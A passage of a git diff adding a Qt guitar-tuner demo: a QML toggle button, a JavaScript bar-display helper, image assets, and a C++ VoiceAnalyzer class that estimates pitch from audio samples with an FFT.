+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+/* A toggle button component. */
+Rectangle {
+ id: toggleButton
+
+ property url offImageSource: ""
+ property url onImageSource: ""
+ property alias imageSource: buttonImage.source
+
+ signal selected()
+ signal pushed()
+
+ color: "transparent"
+ state: "unPressed"
+ onStateChanged: {
+ if (state == "pressed") {
+ selected()
+ }
+ }
+
+ Image {
+ id: buttonImage
+
+ smooth: true
+ anchors.fill: parent
+ }
+ MouseArea {
+ id: mouseArea
+
+ anchors.fill: parent
+ onPressed: {
+ if (parent.state == "unPressed") {
+ pushed()
+ }
+ }
+ }
+
+ states: [
+ State {
+ name: "pressed"
+ PropertyChanges {
+ target: toggleButton
+ scale: 0.95
+ imageSource: onImageSource
+ }
+ },
+ State {
+ name: "unPressed"
+ PropertyChanges {
+ target: toggleButton
+ scale: 1/0.95
+ imageSource: offImageSource
+ }
+ }
+ ]
+
+ transitions: [
+ Transition {
+ from: "unPressed"
+ to: "pressed"
+ reversible: true
+ PropertyAnimation {
+ target: toggleButton
+ properties: "scale"
+ duration: 100
+ }
+ }
+ ]
+}
diff --git a/demos/mobile/guitartuner/src/mycomponents/adjustbars.js b/demos/mobile/guitartuner/src/mycomponents/adjustbars.js
new file mode 100644
index 00000000..ba652a6f
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/adjustbars.js
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/* JavaScript functions for creating, handling and
+ * destroying the bars of the adjuster component. */
+
+var maxBars = 10;
+var firstBarHeight = 5;
+var bars = new Array(maxBars);
+var colors = new Array(maxBars);
+var barWidthFactor = 2.3;
+
+function createBars() {
+ var barWidth = adjuster.width/maxBars/barWidthFactor;
+ for (var i = 1; i <= maxBars; i++) {
+ //Create, configure and store the bars.
+ var bar = Qt.createQmlObject('import QtQuick 1.0; Rectangle {smooth: true}', adjuster, "dynamicBar");
+ bar.width = barWidth;
+ bar.height = firstBarHeight+(i/maxBars)*(adjuster.height*0.8-firstBarHeight);
+ bar.radius = bar.width/2;
+ bar.x = (i-1)*(barWidthFactor*barWidth);
+ bar.y = adjuster.height/2 - bar.height/2;
+ bars[i-1] = bar;
+
+ //Calculate and store the colors
+ if (i < maxBars/2) {
+ colors[i-1] = Qt.rgba(1-i/(maxBars/2), 1, 1-i/(maxBars/2), i);
+ }
+ else {
+ colors[i-1] = Qt.rgba((i-(maxBars/2))/(maxBars/2), 1-((i-(maxBars/2))/(maxBars/2)), 0, i);
+ }
+ }
+}
+
+function destroyBars() {
+ for (var i = 0; i < maxBars; i++) {
+ bars[i].color = "transparent" //Colors must be set to transparent or otherwise the bars will stay appeared.
+ bars[i].destroy();
+ }
+}
+
+function fillBars(barNumber) {
+ //Set the color for the bars (transparent from the selected bar to the end).
+ for (var i = 0; i < maxBars; i++) {
+ if (i < barNumber) {
+ bars[i].color = colors[i];
+ }
+ else {
+ bars[i].color = "black";
+ }
+ }
+}
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/big_a.png b/demos/mobile/guitartuner/src/mycomponents/images/big_a.png
new file mode 100644
index 00000000..3838e766
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/big_a.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/big_b.png b/demos/mobile/guitartuner/src/mycomponents/images/big_b.png
new file mode 100644
index 00000000..114b32d3
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/big_b.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/big_d.png b/demos/mobile/guitartuner/src/mycomponents/images/big_d.png
new file mode 100644
index 00000000..3ede9f0f
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/big_d.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/big_e.png b/demos/mobile/guitartuner/src/mycomponents/images/big_e.png
new file mode 100644
index 00000000..cc1f4885
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/big_e.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/big_g.png b/demos/mobile/guitartuner/src/mycomponents/images/big_g.png
new file mode 100644
index 00000000..804177b3
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/big_g.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/glowing_a.png b/demos/mobile/guitartuner/src/mycomponents/images/glowing_a.png
new file mode 100644
index 00000000..b6fd0e20
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/glowing_a.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/glowing_b.png b/demos/mobile/guitartuner/src/mycomponents/images/glowing_b.png
new file mode 100644
index 00000000..b5fa016a
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/glowing_b.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/glowing_d.png b/demos/mobile/guitartuner/src/mycomponents/images/glowing_d.png
new file mode 100644
index 00000000..32f1a291
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/glowing_d.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/glowing_e.png b/demos/mobile/guitartuner/src/mycomponents/images/glowing_e.png
new file mode 100644
index 00000000..4be9f2a7
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/glowing_e.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/glowing_g.png b/demos/mobile/guitartuner/src/mycomponents/images/glowing_g.png
new file mode 100644
index 00000000..4216d828
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/glowing_g.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/guitartuner_malli.png b/demos/mobile/guitartuner/src/mycomponents/images/guitartuner_malli.png
new file mode 100644
index 00000000..dbe3fc79
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/guitartuner_malli.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/guitartuner_skin.png b/demos/mobile/guitartuner/src/mycomponents/images/guitartuner_skin.png
new file mode 100644
index 00000000..5d53df9b
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/guitartuner_skin.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/lcdFrame.png b/demos/mobile/guitartuner/src/mycomponents/images/lcdFrame.png
new file mode 100644
index 00000000..ff8dffc6
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/lcdFrame.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/meterBG.png b/demos/mobile/guitartuner/src/mycomponents/images/meterBG.png
new file mode 100644
index 00000000..4046355c
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/meterBG.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/mute.png b/demos/mobile/guitartuner/src/mycomponents/images/mute.png
new file mode 100644
index 00000000..382e6047
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/mute.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/pointer.png b/demos/mobile/guitartuner/src/mycomponents/images/pointer.png
new file mode 100644
index 00000000..d0cb21b8
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/pointer.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/pointerShadow.png b/demos/mobile/guitartuner/src/mycomponents/images/pointerShadow.png
new file mode 100644
index 00000000..a7086391
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/pointerShadow.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/power.png b/demos/mobile/guitartuner/src/mycomponents/images/power.png
new file mode 100644
index 00000000..8ec0c5ce
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/power.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/quit.png b/demos/mobile/guitartuner/src/mycomponents/images/quit.png
new file mode 100644
index 00000000..2a9443ec
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/quit.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/sensitivity.png b/demos/mobile/guitartuner/src/mycomponents/images/sensitivity.png
new file mode 100644
index 00000000..c3d2ea31
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/sensitivity.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_a.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_a.png
new file mode 100644
index 00000000..a1823e59
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_a.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_a_on.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_a_on.png
new file mode 100644
index 00000000..7c78cbd8
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_a_on.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_auto.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_auto.png
new file mode 100644
index 00000000..b9e494bd
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_auto.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_auto_on.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_auto_on.png
new file mode 100644
index 00000000..d5608d85
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_auto_on.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_b.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_b.png
new file mode 100644
index 00000000..94977f87
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_b.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_b_on.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_b_on.png
new file mode 100644
index 00000000..78841dc0
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_b_on.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_d.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_d.png
new file mode 100644
index 00000000..293ee55a
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_d.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_d_on.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_d_on.png
new file mode 100644
index 00000000..705de41d
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_d_on.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_e.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_e.png
new file mode 100644
index 00000000..569d2c65
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_e.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_e_on.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_e_on.png
new file mode 100644
index 00000000..1342a914
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_e_on.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_g.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_g.png
new file mode 100644
index 00000000..a8f0de57
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_g.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/tuner_g_on.png b/demos/mobile/guitartuner/src/mycomponents/images/tuner_g_on.png
new file mode 100644
index 00000000..6fdca419
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/tuner_g_on.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/voicemode_off.png b/demos/mobile/guitartuner/src/mycomponents/images/voicemode_off.png
new file mode 100644
index 00000000..0701dd34
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/voicemode_off.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/voicemode_on.png b/demos/mobile/guitartuner/src/mycomponents/images/voicemode_on.png
new file mode 100644
index 00000000..986d589a
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/voicemode_on.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/volume.png b/demos/mobile/guitartuner/src/mycomponents/images/volume.png
new file mode 100644
index 00000000..46fdb7fa
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/volume.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/mycomponents/images/volume_off.png b/demos/mobile/guitartuner/src/mycomponents/images/volume_off.png
new file mode 100644
index 00000000..a97e4224
--- /dev/null
+++ b/demos/mobile/guitartuner/src/mycomponents/images/volume_off.png
Binary files differ
diff --git a/demos/mobile/guitartuner/src/voiceanalyzer.cpp b/demos/mobile/guitartuner/src/voiceanalyzer.cpp
new file mode 100644
index 00000000..5c179638
--- /dev/null
+++ b/demos/mobile/guitartuner/src/voiceanalyzer.cpp
@@ -0,0 +1,295 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "voiceanalyzer.h"
+
+/**
+ * Constant used to scale the cut-off density for the fft helper.
+ */
+const static float CutOffScaler = 0.05;
+
+/**
+ * Force the precision to be "1/PrecisionPerNote" notes
+ * near the target frequency.
+ */
+const static int PrecisionPerNote = 4;
+
+/**
+ * TargetFrequencyParameter is a constant which implies the index at
+ * which corresponds to the target frequency.
+ * 0.5 * N * 1/TargetFrequencyParameter is (about) the index which
+ * corresponds to the given target frequency.
+ * Effectively TargetFrequencyParameter = 2^z, and the z*TargetFrequency
+ * is the maximum frequency that can be noticed.
+ */
+const static int TargetFrequencyParameter = 4;
+
+
+VoiceAnalyzer::VoiceAnalyzer(const QAudioFormat &format, QObject *parent):
+ QIODevice(parent),
+ m_format(format),
+ m_frequency(0),
+ m_position(0),
+ m_fftHelper(new FastFourierTransformer(this))
+{
+ Q_ASSERT(qFuzzyCompare(M_SAMPLE_COUNT_MULTIPLIER,
+ float(2)/(M_TWELTH_ROOT_OF_2 -1.0)));
+ m_totalSampleCount = qRound(qreal(PrecisionPerNote)
+ *TargetFrequencyParameter
+ *M_SAMPLE_COUNT_MULTIPLIER);
+ m_samples.reserve(m_totalSampleCount);
+ int i = 2;
+ int j = 1;
+ for (; i < TargetFrequencyParameter; i *= 2) {
+ j++;
+ }
+ m_maximumVoiceDifference = j*12;
+
+ setCutOffPercentage(CutOffScaler);
+}
+
+/**
+ * Opens the parent QIODevice. Sets up the analysation parameters.
+ */
+void VoiceAnalyzer::start(qreal frequency)
+{
+ m_stepSize = (qreal) 1.0 * m_format.sampleRate()
+ / (TargetFrequencyParameter*2*frequency);
+ m_frequency = frequency;
+ open(QIODevice::WriteOnly);
+}
+
+/**
+ * Closes the parent QIODevice, thus the voice is not analysed anymore.
+ * Resets the m_samples QList.
+ */
+void VoiceAnalyzer::stop()
+{
+ m_samples.clear();
+ m_samples.reserve(m_totalSampleCount);
+ close();
+}
+
+/**
+ * Called when data is obtained. Stores each m_stepSize sample
+ * into a QList to be analysed.
+ */
+qint64 VoiceAnalyzer::writeData(const char *data, qint64 maxlen)
+{
+ const int channelBytes = m_format.sampleSize() / 8;
+ int sampleSize = m_format.channels() * channelBytes;
+ int m_stepSizeInBytes = m_stepSize*sampleSize;
+ // assert that each sample fits fully into the data
+ Q_ASSERT((m_position % sampleSize)==0);
+ const uchar *ptr = reinterpret_cast<const uchar *>(data);
+ while (m_position < maxlen) {
+ if (m_samples.size() < m_totalSampleCount) {
+ m_samples.append(getValueInt16(ptr+m_position));
+ }
+ else {
+ analyzeVoice();
+ m_samples.clear();
+ m_samples.reserve(m_totalSampleCount);
+ // fast forward position to the first position after maxlen or to the maxlen
+ m_position += ((m_stepSizeInBytes - 1 + maxlen - m_position) /
+ m_stepSizeInBytes) * m_stepSizeInBytes;
+ break;
+ }
+ m_position += m_stepSizeInBytes;
+ }
+ m_position -= maxlen;
+ return maxlen;
+}
+
+/**
+ * Interprets ptr as a pointer to int value and returns it.
+ */
+qint16 VoiceAnalyzer::getValueInt16(const uchar *ptr)
+{
+ qint16 realValue = 0;
+ if (m_format.sampleSize() == 8)
+ {
+ const qint16 value = *reinterpret_cast<const quint8*>(ptr);
+ if (m_format.sampleType() == QAudioFormat::UnSignedInt) {
+ realValue = value - M_MAX_AMPLITUDE_8BIT_SIGNED - 1;
+ } else if (m_format.sampleType() == QAudioFormat::SignedInt) {
+ realValue = value;
+ }
+ } else if (m_format.sampleSize() == 16) {
+ qint16 value = 0;
+ if (m_format.byteOrder() == QAudioFormat::LittleEndian)
+ value = qFromLittleEndian<quint16>(ptr);
+ else
+ value = qFromBigEndian<quint16>(ptr);
+
+ if (m_format.sampleType() == QAudioFormat::UnSignedInt) {
+ realValue = value - M_MAX_AMPLITUDE_16BIT_SIGNED;
+ } else if (m_format.sampleType() == QAudioFormat::SignedInt) {
+ realValue = value;
+ }
+ }
+ return realValue;
+}
+
+/**
+ * Takes a number between 0 and 1, scales it with CutOffScaler,
+ * multiplies it with maximum density, and then gives it
+ * to the fft helper.
+ */
+void VoiceAnalyzer::setCutOffPercentage(qreal cutoff)
+{
+ cutoff = CutOffScaler*cutoff;
+ if (m_format.sampleSize() == 8) {
+ float t = cutoff*m_totalSampleCount*M_MAX_AMPLITUDE_8BIT_SIGNED;
+ m_fftHelper->setCutOffForDensity(t);
+ }
+ else if (m_format.sampleSize() == 16) {
+ float t = cutoff*m_totalSampleCount*M_MAX_AMPLITUDE_16BIT_SIGNED;
+ m_fftHelper->setCutOffForDensity(t);
+ }
+}
+
+/**
+ * Returns the current target frequency.
+ */
+qreal VoiceAnalyzer::frequency()
+{
+ return m_frequency;
+}
+
+/**
+ * Returns the maximum absolute value sent by
+ * the voiceDifference() signal.
+ */
+int VoiceAnalyzer::getMaximumVoiceDifference()
+{
+ return m_maximumVoiceDifference;
+}
+
+/**
+ * Returns the maximum precision per note
+ * near the target frequency.
+ */
+int VoiceAnalyzer::getMaximumPrecisionPerNote()
+{
+ return PrecisionPerNote;
+}
+
+/**
+ * Analyzes the voice frequency and emits appropriate signals.
+ */
+void VoiceAnalyzer::analyzeVoice()
+{
+ m_fftHelper->calculateFFT(m_samples);
+ int index = m_fftHelper->getMaximumDensityIndex();
+
+ // If index == -1
+ if (index == -1) {
+ // The voice is to be filtered away.
+ // Emit the lowVoice signal and return.
+ emit lowVoice();
+ qDebug() << "low voice";
+ return;
+ }
+ // Else, continue
+
+ // Let the correctIndex to be
+ // the nearest index corresponding to the correct frequency.
+ qreal stepSizeInFrequency = (qreal)m_format.sampleRate()
+ / (m_totalSampleCount * m_stepSize);
+ qreal newFrequency = qreal(index) * stepSizeInFrequency;
+ // Calculate the nearest index corresponding to the correct frequency.
+ int correctIndex = qRound(m_frequency / stepSizeInFrequency);
+ qreal value = 0;
+
+ // If the obtained frequency is more than
+ // log_2(TargetFrequencyParameter) octaves less than the m_frequency:
+
+ // Note:
+ // Instead of m_frequency/TargetFrequencyParameter > newFrequency,
+ // the comparison is done without a div instructions by
+ // m_frequency > newFrequency * TargetFrequencyParameter.
+
+ if (m_frequency > newFrequency * TargetFrequencyParameter) {
+ // Set the difference value to be -m_maximumVoiceDifference.
+ qDebug() << "compare" << "low" << newFrequency << m_frequency - stepSizeInFrequency * correctIndex << (m_frequency - stepSizeInFrequency * correctIndex) / stepSizeInFrequency;
+ value = -m_maximumVoiceDifference;
+ }
+ // Else, if the obtained frequency is more than
+ // log_2(TargetFrequencyParameter) octaves more than the m_frequency:
+ else if (m_frequency*TargetFrequencyParameter < newFrequency) {
+ // Set the difference value to be m_maximumVoiceDifference.
+ qDebug() << "compare" << "high" << newFrequency << m_frequency - stepSizeInFrequency * correctIndex << (m_frequency - stepSizeInFrequency * correctIndex) / stepSizeInFrequency;
+ value = m_maximumVoiceDifference;
+ }
+ // Else:
+ else {
+ // Calculate the difference between the obtained and the correct
+ // frequency in tones.
+ // Use stepSizeInFrequency * correctIndex instead of
+ // m_frequency so that the value is zero when there is correct
+ // voice obtained. Set the difference value to be
+ // log(frequency / target frequency) * 12 / log(2).
+ value = log(newFrequency / (stepSizeInFrequency * correctIndex))
+ * 12 / M_LN2;
+ qDebug() << "compare" << value << newFrequency << m_frequency - stepSizeInFrequency * correctIndex << (m_frequency - stepSizeInFrequency * correctIndex) / stepSizeInFrequency;
+ }
+
+ // Emit voiceDifference signal.
+ QVariant valueVar(value); //Has to be QVariant for QML
+ emit voiceDifference(valueVar);
+
+ // If the correctIndex is index, emit the correctFrequency signal.
+ if (correctIndex == index) {
+ emit(correctFrequency());
+ }
+}
+
+/**
+ * Empty implementation for readData, since no data is provided
+ * by the VoiceAnalyzer class.
+ */
+qint64 VoiceAnalyzer::readData(char *data, qint64 maxlen)
+{
+ Q_UNUSED(data);
+ Q_UNUSED(maxlen);
+
+ return 0;
+}
diff --git a/demos/mobile/guitartuner/src/voiceanalyzer.h b/demos/mobile/guitartuner/src/voiceanalyzer.h
new file mode 100644
index 00000000..8957c2e9
--- /dev/null
+++ b/demos/mobile/guitartuner/src/voiceanalyzer.h
@@ -0,0 +1,93 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef VOICEANALYZER_H
+#define VOICEANALYZER_H
+
+#include <QObject>
+#include <QAudioFormat>
+#include <QDebug>
+#include <QtCore/qmath.h>
+#include <QtCore/qendian.h>
+#include <QVariant>
+
+#include "constants.h"
+#include "fastfouriertransformer.h"
+#include "math.h"
+
+class VoiceAnalyzer : public QIODevice
+{
+ Q_OBJECT
+public:
+ VoiceAnalyzer(const QAudioFormat &format, QObject *parent = 0);
+ qint64 readData(char *data, qint64 maxlen);
+ qint64 writeData(const char *data, qint64 maxlen);
+ void start(qreal frequency);
+ void stop();
+ qreal frequency();
+ int getMaximumVoiceDifference();
+ int getMaximumPrecisionPerNote();
+
+public slots:
+ void setCutOffPercentage(qreal cutoff);
+
+private:
+ const QAudioFormat m_format;
+ QList<qint16> m_samples;
+ int m_totalSampleCount;
+ int m_maximumVoiceDifference;
+
+ qint16 getValueInt16(const uchar *ptr);
+ int m_stepSize;
+ qreal m_frequency;
+ qint64 m_position;
+ FastFourierTransformer *m_fftHelper;
+ void analyzeVoice();
+signals:
+ void voiceDifference(QVariant frequency);
+ void correctFrequency();
+ void lowVoice();
+
+public slots:
+
+};
+
+
+#endif // VOICEANALYZER_H
diff --git a/demos/mobile/guitartuner/src/voicegenerator.cpp b/demos/mobile/guitartuner/src/voicegenerator.cpp
new file mode 100644
index 00000000..046f75ef
--- /dev/null
+++ b/demos/mobile/guitartuner/src/voicegenerator.cpp
